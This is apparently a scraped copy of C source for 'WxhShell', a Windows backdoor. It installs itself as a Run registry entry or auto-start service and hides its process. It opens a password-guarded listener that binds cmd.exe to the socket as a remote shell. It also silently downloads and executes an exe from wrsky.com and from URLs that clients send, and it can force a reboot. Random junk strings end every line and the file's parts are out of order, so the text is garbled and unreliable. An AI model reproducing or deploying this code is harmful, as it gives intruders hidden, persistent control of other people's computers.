    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #GT4/Ej}W  
    if(Boot(SHUTDOWN)) Jv9yy~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W6[# q%o  
    else { z?i{2Fz6  
    closesocket(wsh); X6g{qzHg_  
    ExitThread(0); 8o4?mhqV  
    } 5Myp#!|x:  
    break; H]/!J]  
    } zV8^Hxl  
  // 获取shell ?h4Rh0rkX  
  case 's': { 49m}~J=*  
    CmdShell(wsh); C0@[4a$8f  
    closesocket(wsh); B&oP0 jS  
    ExitThread(0); <X,0\U!lL  
    break; 8~")9w  
  } R7xEE7p  
  // 退出 J|A:C[7 2  
  case 'x': { 4BgrG[l)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zU$S#4/C  
    CloseIt(wsh); hB)TH'R{:  
    break;  M} {'kK  
    } 3\jcq@N  
  // 离开 YZH &KGY  
  case 'q': { D-IXO @x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0cBk/x^s  
    closesocket(wsh); X}s}E ;v9  
    WSACleanup(); Y +9OP  
    exit(1); j\S}TaH0e  
    break; };=44E'7  
        } CnA0^JX  
  } AT%@T|  
  } -I\Y m_)  
(ug^2WG Yq  
  // 提示信息 H tu}M8/4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oTqv$IzqP  
} )KPQ8y!d  
  } )D1=jD(  
uNn]hl|x  
  return; .}.63T$h9  
} 5, <:|/r  
?Q XS?  
// shell模块句柄 ucVn `  
int CmdShell(SOCKET sock) _(Qec?[^Ps  
{ fq2t^c|$  
STARTUPINFO si; f\~OG#AaX  
ZeroMemory(&si,sizeof(si)); {tlt5p!4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <!r0[bKz@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /Ky xOb)  
PROCESS_INFORMATION ProcessInfo; LT ZoO9O  
char cmdline[]="cmd"; &CEZ+\bA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "}jY;d#n  
  return 0; =(x W7Pt~  
} z sZP\  
$stBB  
// 自身启动模式 hn bF}AD  
int StartFromService(void) C/{tvY /o  
{ eZ^-gk?  
typedef struct -:|1>og  
{ &b#O=LF  
  DWORD ExitStatus; '[nH] N  
  DWORD PebBaseAddress; s}pn5zMp:8  
  DWORD AffinityMask; ,?Bo x  
  DWORD BasePriority; ~A5MzrvIO2  
  ULONG UniqueProcessId; s$s]D\N  
  ULONG InheritedFromUniqueProcessId; e viv,  
}   PROCESS_BASIC_INFORMATION; Mk-Rl  
ma<+!*|   
PROCNTQSIP NtQueryInformationProcess; RI q9wD}4(  
xxlYn9ke  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "$VqOSo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @+3@Z?!SZ  
i"{ \ >  
  HANDLE             hProcess; x3JX}yCX  
  PROCESS_BASIC_INFORMATION pbi; c9 UJ=  
A $9^JF0$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c8'! >#$  
  if(NULL == hInst ) return 0; +Xg]@IS-eg  
h* to%N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T!T6M6?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6] ~g*]T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :$`"M#vMX  
`]{/(pIgW;  
  if (!NtQueryInformationProcess) return 0; !\0UEC  
nM)q;9-ni  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _FET$$>z N  
  if(!hProcess) return 0; ;c-J)Ky  
Q@in?};  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1Ue;hu'q:  
BN?OvQ  
  CloseHandle(hProcess); ?>_[hZ  
<L1;aNN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IfH*saN7  
if(hProcess==NULL) return 0; BmRk|b  
@} 61D  
HMODULE hMod; KKz{a{ePY%  
char procName[255]; ;eG,T-:  
unsigned long cbNeeded; L %[om c?  
u H}cvshv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o0nKgq'w|x  
J8T?=%?=  
  CloseHandle(hProcess); .7ZV: m  
k|^e=I   
if(strstr(procName,"services")) return 1; // 以服务启动 m{/?6h 1  
b|cUKsL5  
  return 0; // 注册表启动 ng-g\&-  
} z4 snH%q  
V'";u?h#S  
// 主模块 b`@aiXN)+  
int StartWxhshell(LPSTR lpCmdLine) wX_s./#JJ  
{ P+m{hn~%  
  SOCKET wsl; <23oyMR0  
BOOL val=TRUE; &gn^i!%Z)  
  int port=0; ~f[AEE~,s+  
  struct sockaddr_in door; 1Qi5t?{  
,<[Q/:}[  
  if(wscfg.ws_autoins) Install(); !18M!8Xea  
[f'V pId8  
port=atoi(lpCmdLine); :<    
;'.[h*u~<  
if(port<=0) port=wscfg.ws_port; 0u]!C"VX  
j0p'_|)(  
  WSADATA data; 6iiH+Nc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -/>SdR$D7  
=kp-[7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O<0G\sU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >i>%@  
  door.sin_family = AF_INET; ay\e# )  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?I6us X9$  
  door.sin_port = htons(port); ~ >af"<  
_]~gp.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NArql  
closesocket(wsl); %"2 ;i@  
return 1; IpX>G]"-C  
} ^6*2a(S&  
d66 GO];"  
  if(listen(wsl,2) == INVALID_SOCKET) { 73kF=*m  
closesocket(wsl); ,;aELhMZ  
return 1; *(%]|z}]m  
} 87Sqs1>cw  
  Wxhshell(wsl); nQ*9|v4  
  WSACleanup(); E,]G Ek  
9'tElpDJ6#  
return 0; ;+%(@C51GE  
zCvt"!}RRa  
} n+Ia@ $|m  
n M +(  
// 以NT服务方式启动 "t4$%7L]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]ov>VF,<  
{ Gz]p2KBg  
DWORD   status = 0; `u%`N j  
  DWORD   specificError = 0xfffffff; c~B[ <.Qj  
<1H bjR w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nu1s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B 4pJg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Voi`OCut  
  serviceStatus.dwWin32ExitCode     = 0; fdIO'L_  
  serviceStatus.dwServiceSpecificExitCode = 0; > .L\>  
  serviceStatus.dwCheckPoint       = 0; 1 m)WM,L  
  serviceStatus.dwWaitHint       = 0; >tfy\PY:  
'%@fW:r~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,O[HX?>  
  if (hServiceStatusHandle==0) return; 1}A1P&2>  
I`?6>Z+%)  
status = GetLastError(); TA=VfA B  
  if (status!=NO_ERROR) ;VY0DAp{  
{ n%o"n?e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eIEr\X4\~~  
    serviceStatus.dwCheckPoint       = 0; F;Q8^C0e*c  
    serviceStatus.dwWaitHint       = 0; tta\.ic  
    serviceStatus.dwWin32ExitCode     = status; O1+2Z\F  
    serviceStatus.dwServiceSpecificExitCode = specificError; c#?JW:^|Df  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j'#Y$d1.  
    return; LTGKs^i4  
  } K5O8G  
|Co ?uv i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {5tb.{  
  serviceStatus.dwCheckPoint       = 0; 7!0~sf9A  
  serviceStatus.dwWaitHint       = 0; }<y-`WB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xXpeo_y'  
} {&_1/  
,/O,j SRk  
// 处理NT服务事件,比如:启动、停止 czMThm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ou;E@`h;x  
{ n>d@}hyv  
switch(fdwControl) 39jnoT  
{ FL}k0  
case SERVICE_CONTROL_STOP: 6I0G.N  
  serviceStatus.dwWin32ExitCode = 0; <!ewb=[_$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3jMHe~.E<  
  serviceStatus.dwCheckPoint   = 0; ')k n  
  serviceStatus.dwWaitHint     = 0; o1x IGP<  
  { Q/oel'O*x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ai7*</ls  
  } -e6~0%X  
  return; N/ 7Q(^  
case SERVICE_CONTROL_PAUSE: E1(2wJ-3"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !"w1Pv,  
  break; ?!R Z~~d  
case SERVICE_CONTROL_CONTINUE: C5Fk>[fS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >k gL N  
  break; |D `r o  
case SERVICE_CONTROL_INTERROGATE: 4l0ON>W(  
  break;  xZJ r*  
}; 8]!%mrS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r|U'2+vn  
} 8`e75%f:2  
=+K2`=y;WF  
// 标准应用程序主函数 zmV5k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VqzcTr]_  
{ AS;EO[Vn  
1&S34wJF  
// 获取操作系统版本 95Q{d'&  
OsIsNt=GetOsVer(); da c?b (  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [ D[&aA  
Z^AOV:|m  
  // 从命令行安装 q.s2x0  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~f/nq/8  
cVHv>nd#  
  // 下载执行文件 =.q Zgcg  
if(wscfg.ws_downexe) { $is|B9B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JZQT}  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gw3H1:yo  
} ]JQ';%dne  
2hOr#I$/  
if(!OsIsNt) { yH\z+A|  
// 如果时win9x,隐藏进程并且设置为注册表启动 E^uWlUb{  
HideProc(); 7M~w05tPh  
StartWxhshell(lpCmdLine); +}IOTw" O`  
} ( Z-~Eh  
else 5r;M61  
  if(StartFromService()) Ok7i^-85  
  // 以服务方式启动 i *W9 4  
  StartServiceCtrlDispatcher(DispatchTable); 8*sZ/N.  
else ich\`j[i  
  // 普通方式启动 cR 0+`&  
  StartWxhshell(lpCmdLine); K OZHz`1!  
{fi:]|<1h  
return 0; $tGk,.#j  
} C]22 [v4  
f0S&_gt  
SDY!!.  
qPJU}(9#B  
=========================================== SiN22k+  
 yQkj4v{  
Jvysvi{8  
%G~ f>  
cN/8 b0C  
cTy;?(E  
" zD>:Kj5  
7x *]  
#include <stdio.h> !<psK[  
#include <string.h> o<\CA[   
#include <windows.h> "xS?#^a  
#include <winsock2.h> m791w8Vr  
#include <winsvc.h> 9UD~$_<\  
#include <urlmon.h> SKx&t-  
B>dXyo  
#pragma comment (lib, "Ws2_32.lib") CO25  
#pragma comment (lib, "urlmon.lib") XdKhT618G  
8$ SA"c)  
#define MAX_USER   100 // 最大客户端连接数 (+' *_   
#define BUF_SOCK   200 // sock buffer iV8j(HV  
#define KEY_BUFF   255 // 输入 buffer G813NoS o  
l1X& Nw1W  
#define REBOOT     0   // 重启 W~ 6ii\  
#define SHUTDOWN   1   // 关机 MV"aO@  
lNtZd?=>  
#define DEF_PORT   5000 // 监听端口 ]AlRu(  
a8K"Z-LlQ  
#define REG_LEN     16   // 注册表键长度 bAIo5lr  
#define SVC_LEN     80   // NT服务名长度 vM5u]u!  
]=5nC)|  
// 从dll定义API ,U_p6 TV5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T\g%.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RIXUzKLO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fs rGI (x?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k@qn' Zi  
L&td4`2y  
// wxhshell配置信息 ]|cL+|':y  
struct WSCFG { !(=bH"P  
  int ws_port;         // 监听端口 j(Tt-a("z  
  char ws_passstr[REG_LEN]; // 口令 pVTx# rY  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]d]tQPEU  
  char ws_regname[REG_LEN]; // 注册表键名 D'y/ pv}!  
  char ws_svcname[REG_LEN]; // 服务名 4zyy   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2" (vjnfH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /6_>d $  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F?]nPb|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ejYJOTT{^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1n7tmRl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HbWl:yU  
g0-hN%=6  
}; ]HoQ6R\E b  
Q/T\Rr_d  
// default Wxhshell configuration Jq1 Zb  
struct WSCFG wscfg={DEF_PORT, nKn,i$sO/.  
    "xuhuanlingzhe", =k]RzeI  
    1, I13n mI\  
    "Wxhshell", !Fa2F~#h  
    "Wxhshell", RFyeA. N  
            "WxhShell Service", MW%EJT>@z  
    "Wrsky Windows CmdShell Service", ;Wjb}_V:_  
    "Please Input Your Password: ", YKbR#DC\  
  1, ;5 W|#{I  
  "http://www.wrsky.com/wxhshell.exe", OA#AiQUR  
  "Wxhshell.exe" mgeNH~%m@*  
    }; = E'\  
g0w<vD`<g  
// 消息定义模块 ;kO Op@e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #7OUqp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3^kZydZ CN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7<&CN0&  
char *msg_ws_ext="\n\rExit."; |n-NK&Y(o  
char *msg_ws_end="\n\rQuit."; xmz83Ll9  
char *msg_ws_boot="\n\rReboot..."; S[!-M\b  
char *msg_ws_poff="\n\rShutdown..."; VIo %((  
char *msg_ws_down="\n\rSave to "; Lc;4 Hg  
mVGQyX  
char *msg_ws_err="\n\rErr!"; jdxwS  
char *msg_ws_ok="\n\rOK!"; B9;dX6c  
V6'"J  
char ExeFile[MAX_PATH]; gD0O7KO  
int nUser = 0; d)m +Hc.  
HANDLE handles[MAX_USER]; .{as"h-.O  
int OsIsNt; 4}B9y3W:v  
7_>No*[  
SERVICE_STATUS       serviceStatus; (JS1}T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X)iQ){21V  
mx  s=<  
// 函数声明 |eIEqq.Eb  
int Install(void); 9W$FX  
int Uninstall(void); \`?l6'!  
int DownloadFile(char *sURL, SOCKET wsh); a5o&6_  
int Boot(int flag); 0ts] iQ7  
void HideProc(void); )24r^21.q  
int GetOsVer(void); `mV&[`NZ  
int Wxhshell(SOCKET wsl); i,>yIPBU!  
void TalkWithClient(void *cs); (C/2shr 8  
int CmdShell(SOCKET sock); ON~jt[  
int StartFromService(void); 9J% ~?k  
int StartWxhshell(LPSTR lpCmdLine); @ ]u nqCO  
c%Y%c2([  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ij>IL!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b`N0lH.V  
>pjmVl w?  
// 数据结构和表定义 >x0"gh  
SERVICE_TABLE_ENTRY DispatchTable[] = 1au1DvH  
{ "\bbe@  
{wscfg.ws_svcname, NTServiceMain}, *"#62U6  
{NULL, NULL} FCxLL"))  
}; 9:N@+;|T  
HgJ:Rf]  
// 自我安装 +VSJve |  
int Install(void) \v bU| a  
{ *9((X,v@/  
  char svExeFile[MAX_PATH]; ej dYh $  
  HKEY key;  }6SfI;  
  strcpy(svExeFile,ExeFile); f Co-ony  
Ht,_<zP;  
// 如果是win9x系统,修改注册表设为自启动 q h;ahX~  
if(!OsIsNt) { 4PUSFZK?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fMRBGcg7Dc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dD@k{5  
  RegCloseKey(key); *Q=ER  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! 9B| `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D. !m*oq  
  RegCloseKey(key); 4;@|tC|u  
  return 0; iD=VNf  
    } v[VUX69  
  } 7)sEW#d!  
} K:&FWl.  
else { .ky((  
z+5l: f  
// 如果是NT以上系统,安装为系统服务 ~[bS+ ]d!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i{zg{$U  
if (schSCManager!=0) BG!;9Z{u  
{ 7r,'a{Rcn  
  SC_HANDLE schService = CreateService vKYdYa\  
  ( z6e)|*cA$  
  schSCManager, "X~ayn'@w,  
  wscfg.ws_svcname, D@"g0SW4  
  wscfg.ws_svcdisp, pfS?:f<+6"  
  SERVICE_ALL_ACCESS, )2T1g~8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Eyu]0+  
  SERVICE_AUTO_START, "TB4w2?=  
  SERVICE_ERROR_NORMAL, +-~hl  
  svExeFile, ],vUW#6$N  
  NULL, 6B 4Sd  
  NULL, ^mr#t #[e  
  NULL, F;p>bw  
  NULL, DIO @Zo  
  NULL Q*|O9vu'D  
  ); SiJ0r @  
  if (schService!=0) J9J[.6k8  
  { /HR9(j6  
  CloseServiceHandle(schService); 't".~H_V  
  CloseServiceHandle(schSCManager); *oLAO/)n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sdP% Y<eAT  
  strcat(svExeFile,wscfg.ws_svcname); MkJ}dncg*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /MHqt=jP6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); csZIBi  
  RegCloseKey(key); j.O7-t%C  
  return 0; T;D`=p#  
    } $P#Cf&R  
  } Wlm%W>%  
  CloseServiceHandle(schSCManager); k{ >rI2;  
} QA_SS'*  
} v#u]cmI  
vaQZ1a,  
return 1; :<Z*WoEmt  
} z[:UPPbW  
;n?72&h  
// 自我卸载 W70J2  
int Uninstall(void) #q.Q tDz  
{ gbNPD*7g9  
  HKEY key; n]I_ LlbY  
Fhw:@@=  
if(!OsIsNt) { P7r?rbO"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `c@KlL*!Q  
  RegDeleteValue(key,wscfg.ws_regname); ^/`:o}7K7  
  RegCloseKey(key); J5Rr7=:*S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NQefrof  
  RegDeleteValue(key,wscfg.ws_regname); !Irmc*;QE  
  RegCloseKey(key); .m_yx{FZ=  
  return 0; w$Lpuu n{  
  } 4Fhiac  
} S%n5,vwE  
} SpbOvY=>  
else { xzF@v>2S+  
)2T?Z)"hO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rQT@:$ )  
if (schSCManager!=0) s>`$]6wPa  
{ 9u<4Q_I`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !FOPFPn  
  if (schService!=0) 9Mo(3M  
  { \M^L'Mkj  
  if(DeleteService(schService)!=0) { R?3^Kx  
  CloseServiceHandle(schService); Q`ERI5b6  
  CloseServiceHandle(schSCManager); q:Gi Qk-  
  return 0; '9cShe  
  } tj 6 #lM9  
  CloseServiceHandle(schService); J<dr x_gc  
  } b*=eMcd  
  CloseServiceHandle(schSCManager); m}w~ d /  
} s hjb b  
} Z#.J>_u )  
_ +Ww1 f  
return 1; >-rDBk ;K  
} ?_36uJo}  
WP&P#ju&  
// 从指定url下载文件 O-- "\4  
int DownloadFile(char *sURL, SOCKET wsh) dn/0>|5OF(  
{ nokk! v/  
  HRESULT hr; @dE|UZ=(  
char seps[]= "/"; "R@N}q<*v2  
char *token; aRg/oA4}  
char *file; WCxt-+#  
char myURL[MAX_PATH]; 2= FGZa*.  
char myFILE[MAX_PATH]; W6f?/{Oo8  
=N,9#o6^  
strcpy(myURL,sURL); hnha1 f  
  token=strtok(myURL,seps); .Ymoh>JRL  
  while(token!=NULL) E/x``,k  
  { V 9Bi2\s*  
    file=token; _?Zg$7VJ  
  token=strtok(NULL,seps); HJ[@;F|aU  
  } Y6L_ _ RT  
|&Gm.[IX;q  
GetCurrentDirectory(MAX_PATH,myFILE); Zh.5\&bm  
strcat(myFILE, "\\"); 6W&huIQ[  
strcat(myFILE, file); nQ>?{"  
  send(wsh,myFILE,strlen(myFILE),0); Dp|y&x!  
send(wsh,"...",3,0); F VBuCi?W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *(~7H6  
  if(hr==S_OK) K!^x+B|  
return 0; $%!'c# F  
else -'btKz*9  
return 1; $p@V1"x  
6|gC##T  
} 3'WJx=0?  
_r+2o-ZR  
// 系统电源模块 \C;cs&\Q  
int Boot(int flag) ig Fz~  
{ !-1UJqO  
  HANDLE hToken; $ )q?z.U  
  TOKEN_PRIVILEGES tkp; T+p ?VngF  
1,,kU  
  if(OsIsNt) { #7/;d=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @]yd Wd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "<6X=|C  
    tkp.PrivilegeCount = 1; {xb8H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dLl/V3C6t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -Z )j"J  
if(flag==REBOOT) { q_PxmPE@3v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vg9n b  
  return 0; 0OLE/T<Xv  
} e1a8>>bcI  
else { kGm-jh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sd|5oz )  
  return 0; kj_ o I5<'  
} O>UG[ZgW  
  } &u) R+7bl,  
  else { #&zNYzI  
if(flag==REBOOT) { }gw \w?/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k?-GI[@X  
  return 0;  WK;X6`  
} ?v8.3EE1\o  
else { . 7WNd/WG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yn=BO`sgW  
  return 0; @jb -u S  
} pC<~\RR  
} 1FC'DH!  
A/eZnsk  
return 1; 07pASZ;~  
} ( <~  
*`.h8gTD,  
// win9x进程隐藏模块 67Z@Hg  
void HideProc(void) 5~GHAi  
{ n/$1&x1  
k=D_9_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &&Ruy(&]I  
  if ( hKernel != NULL ) .}'49=c  
  { t"[ xx_i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [Q(FBoI|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 49S*f  
    FreeLibrary(hKernel); GG0l\! 2)  
  } 0X6|pC~  
v%gkQa  
return; 9z>I&vcX  
} :&*Y Io  
*d%"/l^0  
// 获取操作系统版本 @'UbTB!  
int GetOsVer(void) YC(7k7  
{ -E, d)O`;$  
  OSVERSIONINFO winfo; M\4pTcz{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SMX70T!'9  
  GetVersionEx(&winfo); 3$x[{\ {  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N|t!G^rP  
  return 1; D c5tRO  
  else >TZ 'V,  
  return 0; iveJh2!#<  
} (C{l4  
.!#0eAT  
// 客户端句柄模块 nymF`0HYe1  
int Wxhshell(SOCKET wsl) $7k"?M_  
{ -!_f-Nny  
  SOCKET wsh; qfJi[8".  
  struct sockaddr_in client; ./SDZ:5/  
  DWORD myID; xi5G?r  
Da.eVU;  
  while(nUser<MAX_USER) U$zd3a_(  
{ vTE3-v[i  
  int nSize=sizeof(client); kD_Ac{{<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y#aL]LxZE  
  if(wsh==INVALID_SOCKET) return 1; }_,\yC9F  
T!-*;yu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +qN}oyL  
if(handles[nUser]==0) S5o\joc  
  closesocket(wsh); 1!N|a< #  
else rw:z|-r  
  nUser++; ylFoYROO  
  } \gz(C`4{j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ..FEyf  
$7J9Yzp?L  
  return 0; 2HA-q),6  
} {owXyQ2mK  
rlUo#  
// 关闭 socket q<Tx'Ya  
void CloseIt(SOCKET wsh) #bI ,;]T  
{ 6z-ZJ|?  
closesocket(wsh); NUSb7<s,&Y  
nUser--; S($8_u$U  
ExitThread(0); Oy(f h%k#  
} <Z b~tYp  
eyM<#3\\S  
// 客户端请求句柄 /x2-$a:<  
void TalkWithClient(void *cs) =&%}p[ 3g  
{ V47z;oMXct  
TH[xSg  
  SOCKET wsh=(SOCKET)cs; AW{"9f4  
  char pwd[SVC_LEN]; .wH`9aq;5@  
  char cmd[KEY_BUFF]; <'y}y}%  
char chr[1]; rdQKzJiX=U  
int i,j; P8& BtA  
|DUWB;  
  while (nUser < MAX_USER) { uU$YN-  
#)3luf3G  
if(wscfg.ws_passstr) { HB|R1<t;HB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7~zd % o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |B{@noGX  
  //ZeroMemory(pwd,KEY_BUFF); fBj-R~;0  
      i=0; %P8*Az&]T  
  while(i<SVC_LEN) { ,J*C'#sW  
l & A8P  
  // 设置超时 nYFM^56>_  
  fd_set FdRead; `jHbA#sO  
  struct timeval TimeOut; }}?,({T|n  
  FD_ZERO(&FdRead); zf4\V F  
  FD_SET(wsh,&FdRead); /Z~} dWI  
  TimeOut.tv_sec=8; b((> ?=hh  
  TimeOut.tv_usec=0; Jn:h;|9w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S4ys)!V1V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T]_]{%z  
"26=@Q^Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R$|"eb5  
  pwd=chr[0]; 5&C:&=Y  
  if(chr[0]==0xd || chr[0]==0xa) { m%ec=%L9  
  pwd=0; !B*l'OJw  
  break; +nAbcBJAl  
  } o;kxu(>yL'  
  i++; i!<1&{  
    } !VDNqW  
-P6Z[ V%  
  // 如果是非法用户,关闭 socket -){aBMOv3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J@}PBHK+  
} aP ToP.e  
c0ue[tb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <q`'[1Y4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7Gwo:s L  
oKMr Pr[`  
while(1) { 7 /6 Zp?  
zG* >g  
  ZeroMemory(cmd,KEY_BUFF); N^Hj%5  
jk\z-hd  
      // 自动支持客户端 telnet标准   1IPRI<1U  
  j=0; '< .gKo  
  while(j<KEY_BUFF) { {j8M78}3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [4 v1 N  
  cmd[j]=chr[0]; yM2}J s C  
  if(chr[0]==0xa || chr[0]==0xd) { w}qLI4  
  cmd[j]=0; cjp~I/U  
  break; ,f@\Fs~n  
  } xNd p]u  
  j++; Oq9E$0JW  
    } B&+)s5hh  
dW5@Z-9  
  // 下载文件 ,;@v Vm'}  
  if(strstr(cmd,"http://")) { -UoTBvObAm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]r\FC\n6e  
  if(DownloadFile(cmd,wsh)) :Tcvj5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BUs={"Pa  
  else kBeYl+*pk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y@y"bjK \  
  } a=4 `C*)  
